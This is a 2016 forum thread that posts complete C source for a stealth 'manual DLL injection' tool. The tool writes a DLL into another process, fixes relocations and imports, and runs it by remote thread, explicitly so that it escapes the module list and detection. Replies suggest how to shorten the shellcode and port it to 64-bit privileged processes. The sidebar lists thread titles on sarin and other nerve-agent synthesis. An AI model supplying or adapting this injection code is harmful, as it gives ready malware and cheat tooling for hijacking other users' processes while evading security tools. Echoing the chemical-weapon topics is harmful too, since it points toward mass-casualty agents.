+- +-

+-User

Welcome, Guest.
Please login or register.
 
 
 
Forgot your password?

+-Stats

Members
Total Members: 130
Latest: REEG
New This Month: 1
New This Week: 0
New Today: 0
Stats
Total Posts: 319
Total Topics: 160
Most Online Today: 2
Most Online Ever: 159
(June 29, 2021, 10:20:55 pm)
Users Online
Members: 0
Guests: 1
Total: 1

Author Topic: Manual DLL injection  (Read 1381 times)

zwclose7

  • Administrator
  • Full Member
  • *****
  • Posts: 155
  • I love anime and science!
    • View Profile
    • My blog
Manual DLL injection
« on: October 22, 2016, 09:25:11 pm »
Manual DLL injection is a technique for stealth DLL injection. It works by copying the DLL image into target process's address space. The injector then copy the loader code into target process's address space, and then executed. The loader code perform relocations and resolve DLL imports for the DLL image. Finally, the loader code find for the DLL entry point, and then call it if found.
 
Since the DLL image is directly copied into target process's address space, the injected DLL will not appear in the module list of PEB, thus making detection more difficult.

https://www.youtube.com/watch?v=GPaY-Cg_taM

Usage: ManualInject [DLL name] [PID]
 
How it works
 
1 ) Open the DLL file (CreateFile)

2 ) Read the DLL into memory (ReadFile)

3 ) Validate the DLL image.

4 ) Open the target process (OpenProcess)

5 ) Allocate memory for the DLL and loader code in the target process (VirtualAllocEx)

6 ) Copy the DLL image into target process's address space (WriteProcessMemory)

7 ) Copy the loader code into target process's address space (WriteProcessMemory)

8 ) Create a remote thread to execute the loader code in target process's address space (CreateRemoteThread)

9 ) Wait for the loader code to complete (WaitForSingleObject). The loader code perform relocations and resolve DLL imports for the image, and then call the entry point if found.

10 ) Free the loader code (VirtualFreeEx)
 
Source code

Code: [Select]
#include <stdio.h>
#include <Windows.h>

typedef HMODULE (WINAPI *pLoadLibraryA)(LPCSTR);
typedef FARPROC (WINAPI *pGetProcAddress)(HMODULE,LPCSTR);

typedef BOOL (WINAPI *PDLL_MAIN)(HMODULE,DWORD,PVOID);

typedef struct _MANUAL_INJECT
{
PVOID ImageBase;
PIMAGE_NT_HEADERS NtHeaders;
PIMAGE_BASE_RELOCATION BaseRelocation;
PIMAGE_IMPORT_DESCRIPTOR ImportDirectory;
pLoadLibraryA fnLoadLibraryA;
pGetProcAddress fnGetProcAddress;
}MANUAL_INJECT,*PMANUAL_INJECT;

DWORD WINAPI LoadDll(PVOID p)
{
PMANUAL_INJECT ManualInject;

HMODULE hModule;
DWORD i,Function,count,delta;

PDWORD ptr;
PWORD list;

PIMAGE_BASE_RELOCATION pIBR;
PIMAGE_IMPORT_DESCRIPTOR pIID;
PIMAGE_IMPORT_BY_NAME pIBN;
PIMAGE_THUNK_DATA FirstThunk,OrigFirstThunk;

PDLL_MAIN EntryPoint;

ManualInject=(PMANUAL_INJECT)p;

pIBR=ManualInject->BaseRelocation;
delta=(DWORD)((LPBYTE)ManualInject->ImageBase-ManualInject->NtHeaders->OptionalHeader.ImageBase); // Calculate the delta

// Relocate the image

while(pIBR->VirtualAddress)
{
if(pIBR->SizeOfBlock>=sizeof(IMAGE_BASE_RELOCATION))
{
count=(pIBR->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/sizeof(WORD);
list=(PWORD)(pIBR+1);

for(i=0;i<count;i++)
{
if(list[i])
{
ptr=(PDWORD)((LPBYTE)ManualInject->ImageBase+(pIBR->VirtualAddress+(list[i] & 0xFFF)));
*ptr+=delta;
}
}
}

pIBR=(PIMAGE_BASE_RELOCATION)((LPBYTE)pIBR+pIBR->SizeOfBlock);
}

pIID=ManualInject->ImportDirectory;

// Resolve DLL imports

while(pIID->Characteristics)
{
OrigFirstThunk=(PIMAGE_THUNK_DATA)((LPBYTE)ManualInject->ImageBase+pIID->OriginalFirstThunk);
FirstThunk=(PIMAGE_THUNK_DATA)((LPBYTE)ManualInject->ImageBase+pIID->FirstThunk);

hModule=ManualInject->fnLoadLibraryA((LPCSTR)ManualInject->ImageBase+pIID->Name);

if(!hModule)
{
return FALSE;
}

while(OrigFirstThunk->u1.AddressOfData)
{
if(OrigFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// Import by ordinal

Function=(DWORD)ManualInject->fnGetProcAddress(hModule,(LPCSTR)(OrigFirstThunk->u1.Ordinal & 0xFFFF));

if(!Function)
{
return FALSE;
}

FirstThunk->u1.Function=Function;
}

else
{
// Import by name

pIBN=(PIMAGE_IMPORT_BY_NAME)((LPBYTE)ManualInject->ImageBase+OrigFirstThunk->u1.AddressOfData);
Function=(DWORD)ManualInject->fnGetProcAddress(hModule,(LPCSTR)pIBN->Name);

if(!Function)
{
return FALSE;
}

FirstThunk->u1.Function=Function;
}

OrigFirstThunk++;
FirstThunk++;
}

pIID++;
}

if(ManualInject->NtHeaders->OptionalHeader.AddressOfEntryPoint)
{
EntryPoint=(PDLL_MAIN)((LPBYTE)ManualInject->ImageBase+ManualInject->NtHeaders->OptionalHeader.AddressOfEntryPoint);
return EntryPoint((HMODULE)ManualInject->ImageBase,DLL_PROCESS_ATTACH,NULL); // Call the entry point
}

return TRUE;
}

DWORD WINAPI LoadDllEnd()
{
return 0;
}

int wmain(int argc,wchar_t* argv[])
{
PIMAGE_DOS_HEADER pIDH;
PIMAGE_NT_HEADERS pINH;
PIMAGE_SECTION_HEADER pISH;

HANDLE hProcess,hThread,hFile,hToken;
PVOID buffer,image,mem;
DWORD i,FileSize,ProcessId,ExitCode,read;

TOKEN_PRIVILEGES tp;
MANUAL_INJECT ManualInject;

if(argc<3)
{
printf("\nUsage: ManualInject [DLL name] [PID]\n");
return -1;
}

if(OpenProcessToken((HANDLE)-1,TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
{
tp.PrivilegeCount=1;
    tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

    tp.Privileges[0].Luid.LowPart=20;
    tp.Privileges[0].Luid.HighPart=0;

AdjustTokenPrivileges(hToken,FALSE,&tp,0,NULL,NULL);
CloseHandle(hToken);
}

printf("\nOpening the DLL.\n");
hFile=CreateFile(argv[1],GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL); // Open the DLL

if(hFile==INVALID_HANDLE_VALUE)
{
printf("\nError: Unable to open the DLL (%d)\n",GetLastError());
return -1;
}

FileSize=GetFileSize(hFile,NULL);
buffer=VirtualAlloc(NULL,FileSize,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);

if(!buffer)
{
printf("\nError: Unable to allocate memory for DLL data (%d)\n",GetLastError());

CloseHandle(hFile);
return -1;
}

// Read the DLL

if(!ReadFile(hFile,buffer,FileSize,&read,NULL))
{
printf("\nError: Unable to read the DLL (%d)\n",GetLastError());

VirtualFree(buffer,0,MEM_RELEASE);
CloseHandle(hFile);

return -1;
}

CloseHandle(hFile);

pIDH=(PIMAGE_DOS_HEADER)buffer;

if(pIDH->e_magic!=IMAGE_DOS_SIGNATURE)
{
printf("\nError: Invalid executable image.\n");

VirtualFree(buffer,0,MEM_RELEASE);
return -1;
}

pINH=(PIMAGE_NT_HEADERS)((LPBYTE)buffer+pIDH->e_lfanew);

if(pINH->Signature!=IMAGE_NT_SIGNATURE)
{
printf("\nError: Invalid PE header.\n");

VirtualFree(buffer,0,MEM_RELEASE);
return -1;
}

if(!(pINH->FileHeader.Characteristics & IMAGE_FILE_DLL))
{
printf("\nError: The image is not DLL.\n");

VirtualFree(buffer,0,MEM_RELEASE);
return -1;
}

ProcessId=wcstoul(argv[2],NULL,0);

printf("\nOpening target process.\n");
hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessId);

if(!hProcess)
{
printf("\nError: Unable to open target process (%d)\n",GetLastError());

VirtualFree(buffer,0,MEM_RELEASE);
CloseHandle(hProcess);

return -1;
}

printf("\nAllocating memory for the DLL.\n");
image=VirtualAllocEx(hProcess,NULL,pINH->OptionalHeader.SizeOfImage,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); // Allocate memory for the DLL

if(!image)
{
printf("\nError: Unable to allocate memory for the DLL (%d)\n",GetLastError());

VirtualFree(buffer,0,MEM_RELEASE);
CloseHandle(hProcess);

return -1;
}

// Copy the header to target process

printf("\nCopying headers into target process.\n");

if(!WriteProcessMemory(hProcess,image,buffer,pINH->OptionalHeader.SizeOfHeaders,NULL))
{
printf("\nError: Unable to copy headers to target process (%d)\n",GetLastError());

VirtualFreeEx(hProcess,image,0,MEM_RELEASE);
CloseHandle(hProcess);

VirtualFree(buffer,0,MEM_RELEASE);
return -1;
}

pISH=(PIMAGE_SECTION_HEADER)(pINH+1);

// Copy the DLL to target process

printf("\nCopying sections to target process.\n");

for(i=0;i<pINH->FileHeader.NumberOfSections;i++)
{
WriteProcessMemory(hProcess,(PVOID)((LPBYTE)image+pISH[i].VirtualAddress),(PVOID)((LPBYTE)buffer+pISH[i].PointerToRawData),pISH[i].SizeOfRawData,NULL);
}

printf("\nAllocating memory for the loader code.\n");
mem=VirtualAllocEx(hProcess,NULL,4096,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); // Allocate memory for the loader code

if(!mem)
{
printf("\nError: Unable to allocate memory for the loader code (%d)\n",GetLastError());

VirtualFreeEx(hProcess,image,0,MEM_RELEASE);
CloseHandle(hProcess);

VirtualFree(buffer,0,MEM_RELEASE);
return -1;
}

printf("\nLoader code allocated at %#x\n",mem);
memset(&ManualInject,0,sizeof(MANUAL_INJECT));

ManualInject.ImageBase=image;
ManualInject.NtHeaders=(PIMAGE_NT_HEADERS)((LPBYTE)image+pIDH->e_lfanew);
ManualInject.BaseRelocation=(PIMAGE_BASE_RELOCATION)((LPBYTE)image+pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
ManualInject.ImportDirectory=(PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)image+pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
ManualInject.fnLoadLibraryA=LoadLibraryA;
ManualInject.fnGetProcAddress=GetProcAddress;

printf("\nWriting loader code to target process.\n");

WriteProcessMemory(hProcess,mem,&ManualInject,sizeof(MANUAL_INJECT),NULL); // Write the loader information to target process
WriteProcessMemory(hProcess,(PVOID)((PMANUAL_INJECT)mem+1),LoadDll,(DWORD)LoadDllEnd-(DWORD)LoadDll,NULL); // Write the loader code to target process

printf("\nExecuting loader code.\n");
hThread=CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)((PMANUAL_INJECT)mem+1),mem,0,NULL); // Create a remote thread to execute the loader code

if(!hThread)
{
printf("\nError: Unable to execute loader code (%d)\n",GetLastError());

VirtualFreeEx(hProcess,mem,0,MEM_RELEASE);
VirtualFreeEx(hProcess,image,0,MEM_RELEASE);

CloseHandle(hProcess);

VirtualFree(buffer,0,MEM_RELEASE);
return -1;
}

WaitForSingleObject(hThread,INFINITE);
GetExitCodeThread(hThread,&ExitCode);

if(!ExitCode)
{
VirtualFreeEx(hProcess,mem,0,MEM_RELEASE);
VirtualFreeEx(hProcess,image,0,MEM_RELEASE);

CloseHandle(hThread);
CloseHandle(hProcess);

VirtualFree(buffer,0,MEM_RELEASE);
return -1;
}

CloseHandle(hThread);
VirtualFreeEx(hProcess,mem,0,MEM_RELEASE);

CloseHandle(hProcess);

printf("\nDLL injected at %#x\n",image);

if(pINH->OptionalHeader.AddressOfEntryPoint)
{
printf("\nDLL entry point: %#x\n",(PVOID)((LPBYTE)image+pINH->OptionalHeader.AddressOfEntryPoint));
}

VirtualFree(buffer,0,MEM_RELEASE);
return 0;
}

Share on Facebook Share on Twitter

Like Like x 2 View List

g3m

  • Newbie
  • *
  • Posts: 1
    • View Profile
Re: Manual DLL injection
« Reply #1 on: January 16, 2017, 06:32:41 am »
Awesome stuff as usual, but I do have a questions:

Couldnt you alloc the Memory in the remote process and then do the relocation in the local one, therefore drastically shortening the shellcode?

Edit: Also, this doesn't seem to work when injecting into a 64bit process for me. I get the "Error: Unable to execute loader code (5)", so access denied.

Apparently this is happening when the calling application of CreateRemotethread doesn't match the target application in being 64 or 32 bit.

This of course sucks, is there a clever way around it maybe?
« Last Edit: January 16, 2017, 06:50:13 am by g3m »

xchg

  • Administrator
  • Newbie
  • *****
  • Posts: 35
    • View Profile
Re: Manual DLL injection
« Reply #2 on: April 27, 2017, 04:56:23 pm »
Awesome stuff as usual, but I do have a questions:

Couldnt you alloc the Memory in the remote process and then do the relocation in the local one, therefore drastically shortening the shellcode?

Edit: Also, this doesn't seem to work when injecting into a 64bit process for me. I get the "Error: Unable to execute loader code (5)", so access denied.

Apparently this is happening when the calling application of CreateRemotethread doesn't match the target application in being 64 or 32 bit.

This of course sucks, is there a clever way around it maybe?

Yes since you already have the remote load address you could fix up the relocations in your own process and avoid having to implement the code in the loader thread. Now that I think about it, with some magic you could probably fix up the IAT. That may prove to be more difficult though.


The code doesn't work for 64bit code for an array of reasons.
(Note: the below assumes a 64bit module being manually mapped into a 64bit process)

Firstly, the use of the DWORD (unsigned long) type. Assume the loaded module is dependent on the use of the "user32.dll" module, loaded at 0x000007FE29600C1A. When fixing up the import table (specifically the "user32.dll" entry), if you're only able to obtain and write a 4-byte address whereas the "user32.dll" module address occupies more space than can fit in a typical DWORD (unsigned long) type, you will likely end up getting that annoying exception_access_violation (0xc0000005). Generally this will result in undefined behavior. As a fix, you will want to use data types that support x86_64 addressing. Off the top of my head this includes DWORD64, PVOID64, __uint64, long long, unsigned long long, and likely more.[1] I don't know which ones are of good practice to use and for what specific situations; you will have to look into that.

Next, upon fixing the module relocations, we aren't checking for the IMAGE_REL_BASED_DIR64 (The base relocation applies the difference to the 64-bit field at offset.[2]). This is required when changing the relocation data for x64.

Other than that (skipping over manual mapping functionality not featured in the above code), I can't see too much else wrong.

If you're planning on injecting into a specially privileged 64bit process, note you will have to use something other than CreateRemoteThread. That was a pain in the *** to figure out when I was working on a project that implemented a similar mechanism. I believe there is a post on this forum in regards to it.

Hope this helped.

Citations:
[1] - https://msdn.microsoft.com/en-us/library/s3f49ktz.aspx
[2] - https://katjahahn.github.io/PortEx/javadocs/com/github/katjahahn/parser/sections/reloc/RelocType.html
« Last Edit: April 27, 2017, 04:59:33 pm by xchg »

 

+-Recent Topics

Independent Call Girls in Chandigarh by dilpreetkaur
June 21, 2021, 01:02:52 pm

Hi zwclose7. How to create process by using NT apis? by zwclose7
June 01, 2021, 03:09:52 pm

Poison of the Day by zwclose7
March 16, 2020, 06:45:08 pm

IRC by AzeS
February 17, 2020, 08:18:01 am

Native API tutorial by hMihaiDavid
January 08, 2019, 02:11:02 am

The properties of GP nerve agent by xchg
October 19, 2018, 07:40:57 pm

A new route of synthesis for G-series agents by Basquyatti
October 15, 2018, 06:12:57 am

Synthesis of Methylisobutylcarbinylsarin (GH) by APC process by Basquyatti
October 14, 2018, 07:55:33 am

Synthesis conventional of Sarin by Basquyatti
October 02, 2018, 07:57:32 am

Reaction CX-7 (Experimental) by zwclose7
October 02, 2018, 12:46:47 am